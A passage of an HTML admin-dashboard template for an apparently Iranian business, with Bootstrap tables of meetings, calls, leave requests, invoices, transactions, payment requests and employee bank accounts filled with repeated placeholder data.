<td>Mr. Ahmadi's Deal</td>
<td>Client ordering advice</td>
<td>6/4/97</td>
<td>15:00</td>
<td>1 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Azimi's Deal</td>
<td>Client ordering advice</td>
<td>2/3/93</td>
<td>13:00</td>
<td>2 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Not Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Ahmadi's Deal</td>
<td>Client ordering advice</td>
<td>6/4/97</td>
<td>15:00</td>
<td>1 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Azimi's Deal</td>
<td>Client ordering advice</td>
<td>2/3/93</td>
<td>13:00</td>
<td>2 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Not Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>Mr. Ahmadi's Deal</td>
<td>Client ordering advice</td>
<td>6/4/97</td>
<td>15:00</td>
<td>1 Hours</td>
<td>Mr. Azimi</td>
<td>Tehran, Enqelab Square</td>
<td>Planned</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/meeting-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab888">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead>
<tr class="bg-primary">
<th class="wd-15p border-bottom-0 text-center">Topic</th>
<th class="wd-25p border-bottom-0 text-center">Call Method</th>
<th class="wd-25p border-bottom-0 text-center">From</th>
<th class="wd-25p border-bottom-0 text-center">To</th>
<th class="wd-25p border-bottom-0 text-center">Date</th>
<th class="wd-25p border-bottom-0 text-center">Time</th>
<th class="wd-25p border-bottom-0 text-center">Result
</th>
<th class="wd-25p border-bottom-0 text-center">Status</th>
<th class="wd-25p border-bottom-0 text-center"></th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">Positive</td>
<td class="text-center">Done</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#view-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">-</td>
<td class="text-center">Waiting to be made</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-dot-circle"></i>Action</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">Positive</td>
<td class="text-center">Done</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#view-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">-</td>
<td class="text-center">Waiting to be made</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-dot-circle"></i>Action</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">Positive</td>
<td class="text-center">Done</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#view-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">-</td>
<td class="text-center">Waiting to be made</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-dot-circle"></i>Action</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">Positive</td>
<td class="text-center">Done</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#view-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
</td>
</tr>
<tr>
<td class="text-center">Mr. Azimi's Deal</td>
<td class="text-center">Telephone</td>
<td class="text-center">Ghobad abbasi</td>
<td class="text-center"><NAME></td>
<td class="text-center">12/3/97</td>
<td class="text-center">11:04</td>
<td class="text-center">-</td>
<td class="text-center">Waiting to be made</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-dot-circle"></i>Action</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab999">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead class="bg-primary">
<tr>
<th class="wd-15p border-bottom-0 text-center">Requester</th>
<th class="wd-15p border-bottom-0 text-center">Request Date</th>
<th class="wd-10p border-bottom-0 text-center">Type</th>
<th class="wd-15p border-bottom-0 text-center">From Date</th>
<th class="wd-20p border-bottom-0 text-center">To Date</th>
<th class="wd-25p border-bottom-0 text-center">From Time</th>
<th class="wd-25p border-bottom-0 text-center">To Time</th>
<th class="wd-25p border-bottom-0 text-center">Deputy</th>
<th class="wd-25p border-bottom-0 text-center">Confirm Person</th>
<th class="wd-25p border-bottom-0 text-center">Confirmation Status</th>
<th class="wd-25p border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody class="text-center">
<tr>
<td><NAME></td>
<td class="text-center">2/5/97</td>
<td class="text-center">Paid</td>
<td class="text-center">3/6/97</td>
<td class="text-center">4/6/97</td>
<td class="text-center">8:00</td>
<td class="text-center">16:00</td>
<td class="text-center">Saba Nouri</td>
<td class="text-center">Meelad Rezaee</td>
<td><span class="tag tag-success">Accepted</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#view-modal"
class="btn btn-dark btn-sm text-white"><i class="fas fa-eye"></i>
View</a>
</td>
</tr>
<tr>
<td><NAME></td>
<td class="text-center">6/8/97</td>
<td class="text-center">Unpaid</td>
<td class="text-center">7/8/97</td>
<td class="text-center">10/8/97</td>
<td class="text-center">-</td>
<td class="text-center">-</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME>zaee</td>
<td><span class="tag tag-danger">Rejected</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#view-modal"
class="btn btn-dark btn-sm text-white"><i class="fas fa-eye"></i>
View</a>
</td>
</tr>
<tr>
<td><NAME></td>
<td class="text-center">4/8/98</td>
<td class="text-center">Sick</td>
<td class="text-center">5/9/98</td>
<td class="text-center">7/10/98</td>
<td class="text-center">-</td>
<td class="text-center">-</td>
<td class="text-center"><NAME></td>
<td class="text-center">Me<NAME></td>
<td><span class="tag tag-success">Accepted</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#view-modal"
class="btn btn-dark btn-sm text-white"><i class="fas fa-eye"></i>
View</a>
</td>
</tr>
<tr>
<td><NAME></td>
<td class="text-center">6/10/97</td>
<td class="text-center">Maternity</td>
<td class="text-center">8/10/97</td>
<td class="text-center">8/10/97</td>
<td class="text-center">8:00</td>
<td class="text-center">16:00</td>
<td class="text-center">-</td>
<td class="text-center"><NAME></td>
<td><span class="tag tag-danger">Rejected</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#view-modal"
class="btn btn-dark btn-sm text-white"><i class="fas fa-eye"></i>
View</a>
</td>
</tr>
<tr>
<td><NAME></td>
<td class="text-center">2/5/97</td>
<td class="text-center">Unpaid</td>
<td class="text-center">6/2/97</td>
<td class="text-center">10/2/97</td>
<td class="text-center">-</td>
<td class="text-center">-</td>
<td class="text-center">Ahmad Akbari</td>
<td class="text-center"><NAME></td>
<td><span class="tag tag-success">Accepted</span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#view-modal"
class="btn btn-dark btn-sm text-white"><i class="fas fa-eye"></i>
View</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12">
<div class="card overflow-hidden">
<div class="">
<div class="row no-gutters">
<div class="col-xl-3 col-md-6 border-right">
<div class="card-body pb-0">
<div class="float-right">
<span class="mini-stat-icon bg-primary"><i class="si si-cloud-upload"></i></span>
</div>
<div class="dash3">
<h5 class="text-muted">Income for this month</h5>
<h4 class="counter text-primary font-weight-extrabold">44,560,000 </h4>
<h6 class="text-muted">Tomans</h6>
</div>
</div>
<div class="chart-wrapper chart-wraper-absolute">
<canvas id="AreaChart2" class="chart-dropshadow"></canvas>
</div>
</div>
<div class="col-xl-3 col-md-6 border-right relative">
<div class="card-body pb-0">
<div class="float-right">
<span class="mini-stat-icon bg-danger"><i class="si si-share"></i></span>
</div>
<div class="dash3">
<h5 class="text-muted">Expense for this month</h5>
<h4 class="counter text-danger font-weight-extrabold">28,267,000</h4>
<h6 class="text-muted">Tomans</h6>
</div>
</div>
<div class="chart-wrapper chart-wraper-absolute">
<canvas id="AreaChart3" class="chart-dropshadow"></canvas>
</div>
</div>
<div class="col-xl-3 col-md-6 border-right">
<div class="card-body pb-0">
<div class="float-right">
<span class="mini-stat-icon bg-success"><i class="si si-bubble"></i></span>
</div>
<div class="dash3">
<h5 class="text-muted">Net profit for this month</h5>
<h4 class="counter text-success font-weight-extrabold">16,293,000 </h4>
<h6 class="text-muted">Tomans</h6>
</div>
</div>
<div class="chart-wrapper chart-wraper-absolute">
<canvas id="AreaChart4" class="chart-dropshadow"></canvas>
</div>
</div>
<div class="col-xl-3 col-md-6 border-right">
<div class="card-body pb-0">
<div class="float-right">
<span class="mini-stat-icon bg-info"><i class="si si-eye"></i></span>
</div>
<div class="dash3">
<h5 class="text-muted">Salary for this month</h5>
<h4 class="counter text-info font-weight-extrabold">14,880,000 </h4>
<h6 class="text-muted">Tomans</h6>
</div>
</div>
<div class="chart-wrapper chart-wraper-absolute">
<canvas id="AreaChart5" class="chart-dropshadow"></canvas>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card">
<div class="card-body p-5">
<div class="panel panel-primary">
<div class=" p-3 ">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li><a href="#tab1111" class="active font-weight-bold" data-toggle="tab">Invoices</a></li>
<li><a href="#tab2222" class="font-weight-bold" data-toggle="tab">Transaction</a></li>
<li><a href="#tab3343" class="font-weight-bold" data-toggle="tab">Payment requests</a></li>
<li><a href="#tab4444" class="font-weight-bold" data-toggle="tab">Bank account</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-0 ">
<div class="tab-content">
<div class="tab-pane active " id="tab1111">
<div class="table-responsive ">
<table id="example-5" class="table table-striped table-bordered nowrap">
<thead>
<tr class="bg-primary">
<th class="wd-15p border-bottom-0 text-left">Title</th>
<th class="wd-15p border-bottom-0 text-center">Type</th>
<th class="wd-20p border-bottom-0 text-center">Date</th>
<th class="wd-25p border-bottom-0 text-center">Price</th>
<th class="wd-10p border-bottom-0 text-center">Creator</th>
<th class="wd-15p border-bottom-0 text-center">Owner</th>
<th class="wd-25p border-bottom-0 text-center">Related To</th>
<th class="wd-25p border-bottom-0 text-center">Payment Request Num</th>
<th class="wd-25p border-bottom-0 text-center">Branch</th>
<th class="wd-25p border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td>Number One</td>
<td class="text-center">Purchase</td>
<td class="text-center">06 April 2020</td>
<td class="text-center">$ 1,200</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Equipment</td>
<td class="text-center">151315</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/invoice-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>Number Two</td>
<td class="text-center">Sale</td>
<td class="text-center">15 March 2019</td>
<td class="text-center">$ 5,000</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Salaries</td>
<td class="text-center">31843416</td>
<td class="text-center">Valiasr</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/invoice-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>Number Three</td>
<td class="text-center">Purchase</td>
<td class="text-center">29 December 2021</td>
<td class="text-center">$ 4,100</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Catering</td>
<td class="text-center">13815525</td>
<td class="text-center">Velenjak</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/invoice-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>Number Four</td>
<td class="text-center">Purchase</td>
<td class="text-center">11 October 2018</td>
<td class="text-center">$ 2,000</td>
<td class="text-center"><NAME></td>
<td class="text-center">Nasrin Mobasher</td>
<td class="text-center">Equipment</td>
<td class="text-center">1351555</td>
<td class="text-center">Valiasr</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/invoice-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td>Number Five</td>
<td class="text-center">Sale</td>
<td class="text-center">06 March 2020</td>
<td class="text-center">$ 5,500</td>
<td class="text-center">Ali Azimi</td>
<td class="text-center">Saba Azarpeyk</td>
<td class="text-center">Transportation</td>
<td class="text-center">11224456</td>
<td class="text-center">Shariati</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/invoice-view" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#edit-modal" class="btn btn-primary btn-sm"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab2222">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead>
<tr>
<th class="wd-15p border-bottom-0 text-center">Type</th>
<th class="wd-15p border-bottom-0 text-center">Amount</th>
<th class="wd-10p border-bottom-0 text-center">Date</th>
<th class="wd-10p border-bottom-0 text-center">Time</th>
<th class="wd-10p border-bottom-0 text-center">Payment Request</th>
<th class="wd-15p border-bottom-0 text-center">From</th>
<th class="wd-20p border-bottom-0 text-center">To</th>
<th class="wd-25p border-bottom-0 text-center">Branch</th>
<th class="wd-25p border-bottom-0 text-center">Status</th>
<th class="wd-25p border-bottom-0 text-center">Actions</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Withdraw</td>
<td class="text-center">1,200 $</td>
<td class="text-center">12 February 2020</td>
<td class="text-center">08:40 PM</td>
<td class="text-center">54654</td>
<td class="text-center"><NAME></td>
<td class="text-center">Kosar Naiemi</td>
<td class="text-center">Shariati</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal"
data-target="#transaction-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-indigo btn-sm"><i class="fas fa-print"></i>
Print</a>
</td>
</tr>
<tr>
<td class="text-center">Withdraw</td>
<td class="text-center">3,400 $</td>
<td class="text-center">29 July 2020</td>
<td class="text-center">00:20 PM</td>
<td class="text-center">456456</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Valiasr</td>
<td class="text-center"><span class="status-icon bg-danger"></span></td>
<td class="text-center">
<a href="javascript:void(0)" data-toggle="modal"
data-target="#transaction-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-indigo btn-sm"><i class="fas fa-print"></i>
Print</a>
</td>
</tr>
<tr>
<td class="text-center">Deposit</td>
<td class="text-center">660 $</td>
<td class="text-center">08 February 2018</td>
<td class="text-center">05:35 PM</td>
<td class="text-center">456456</td>
<td class="text-center"><NAME></td>
<td class="text-center"><NAME></td>
<td class="text-center">Velenjak</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
<td class="text-center">
<a href="javascript:void(0)" data-toggle="modal"
data-target="#transaction-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-indigo btn-sm"><i class="fas fa-print"></i>
Print</a>
</td>
</tr>
<tr>
<td class="text-center">Withdraw</td>
<td class="text-center">4,000 $</td>
<td class="text-center">23 January 2015</td>
<td class="text-center">10:50 AM</td>
<td class="text-center">456456</td>
<td class="text-center">ُAli Azimi</td>
<td class="text-center"><NAME></td>
<td class="text-center">Bazar</td>
<td class="text-center"><span class="status-icon bg-success"></span></td>
<td class="text-center">
<a href="javascript:void(0)" data-toggle="modal"
data-target="#transaction-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-indigo btn-sm"><i class="fas fa-print"></i>
Print</a>
</td>
</tr>
<tr >
<td class="text-center">Deposit</td>
<td class="text-center"> 7,300 $</td>
<td class="text-center">27 January 2019</td>
<td class="text-center">06:55 AM</td>
<td class="text-center">456456</td>
<td class="text-center"><NAME>i</td>
<td class="text-center"><NAME></td>
<td class="text-center">Valiasr</td>
<td class="text-center"><span class="status-icon bg-danger"></span></td>
<td class="text-center">
<a href="javascript:void(0)" data-toggle="modal"
data-target="#transaction-modal" class="btn btn-dark btn-sm"><i
class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="#" class="btn btn-indigo btn-sm"><i class="fas fa-print"></i>
Print</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab3333">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered">
<thead>
<tr>
<th class="wd-15p border-bottom-0 text-center">Serial</th>
<th class="wd-15p border-bottom-0 text-center">Type</th>
<th class="wd-15p border-bottom-0 text-center">Requester</th>
<th class="wd-10p border-bottom-0 text-center">Date</th>
<th class="wd-25p border-bottom-0 text-center">Total Price</th>
<th class="wd-25p border-bottom-0 text-center">For</th>
<th class="wd-25p border-bottom-0 text-center">From</th>
<th class="wd-25p border-bottom-0 text-center">To</th>
<th class="wd-25p border-bottom-0 text-center">Relation</th>
<th class="wd-25p border-bottom-0 text-center">Invoice</th>
<th class="border-bottom-0 text-center">Status</th>
<th></th>
</tr>
</thead>
<tbody>
<tr class="text-center">
<td>9856</td>
<td>Withdraw</td>
<td>Mr. Azimi</td>
<td>2/3/97</td>
<td>2,000,000</td>
<td>Project Commission</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>687462</td>
<td>Paid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>65416</td>
<td>Despoit</td>
<td>Ms. shirzad</td>
<td>10/12/97</td>
<td>4,000,000</td>
<td>Salary</td>
<td>M<NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>4,000,000</td>
<td>unpaid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>9856</td>
<td>Withdraw</td>
<td>Mr. Azimi</td>
<td>2/3/97</td>
<td>2,000,000</td>
<td>Salary</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>687462</td>
<td>Paid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>65416</td>
<td>Despoit</td>
<td>Ms. shirzad</td>
<td>10/12/97</td>
<td>4,000,000</td>
<td>Project Commission</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>4,000,000</td>
<td>unpaid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>9856</td>
<td>Withdraw</td>
<td>Mr. Azimi</td>
<td>2/3/97</td>
<td>2,000,000</td>
<td>Salary</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>687462</td>
<td>Paid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>65416</td>
<td>Despoit</td>
<td>Ms. shirzad</td>
<td>10/12/97</td>
<td>4,000,000</td>
<td>Salary</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>4,000,000</td>
<td>unpaid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>9856</td>
<td>Withdraw</td>
<td>Mr. Azimi</td>
<td>2/3/97</td>
<td>2,000,000</td>
<td>Project Commission</td>
<td><NAME></td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>687462</td>
<td>Paid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr class="text-center">
<td>65416</td>
<td>Despoit</td>
<td>Ms. shirzad</td>
<td>10/12/97</td>
<td>4,000,000</td>
<td>Salary</td>
<td>Mohammad Qanati</td>
<td>Matican Group</td>
<td>Mr. Taromi's Web Shop</td>
<td>4,000,000</td>
<td>unpaid</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/payment-request-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#edit-modal"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="tab-pane " id="tab4444">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered">
<thead>
<tr>
<th class="wd-15p border-bottom-0 text-center">Employee</th>
<th class="wd-15p border-bottom-0 text-center">Bank</th>
<th class="wd-15p border-bottom-0 text-center">Account Type</th>
<th class="wd-15p border-bottom-0 text-center">Account Number</th>
<th class="wd-10p border-bottom-0 text-center">Credit Card Num.</th>
<th class="wd-25p border-bottom-0 text-center">IBAN</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center"><NAME></td>
<td class="text-center">Pasargad</td>
<td class="text-center">Saving Account</td>
<td class="text-center">285 - 8000 -11166656 -1</td>
<td class="text-center">6037 9974 2142 9474</td>
<td class="text-center">IR 170570028570011166656101</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/bank-account-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center"><NAME></td>
<td class="text-center">Melli</td>
<td class="text-center">Checking Account</td>
<td class="text-center">285 - 8000 -11166656 -1</td>
<td class="text-center">6037 9974 2142 9474</td>
<td class="text-center">IR 170570028570011166656101</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/bank-account-view"
class="btn btn-dark btn-sm"><i class="fas fa-eye"></i>
View</a>
<a class="icon" href="javascript:void(0)"></a>
<a data-toggle="modal" data-target="#exampleModal3-2"
class="btn btn-primary btn-sm text-white"><i
class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center"><NAME></td>
<td class="text-center">Melat</td>
<td class="text-center">Checking Account</td>
<td class="text-center">285 - 8000 -11166656 -1</td>
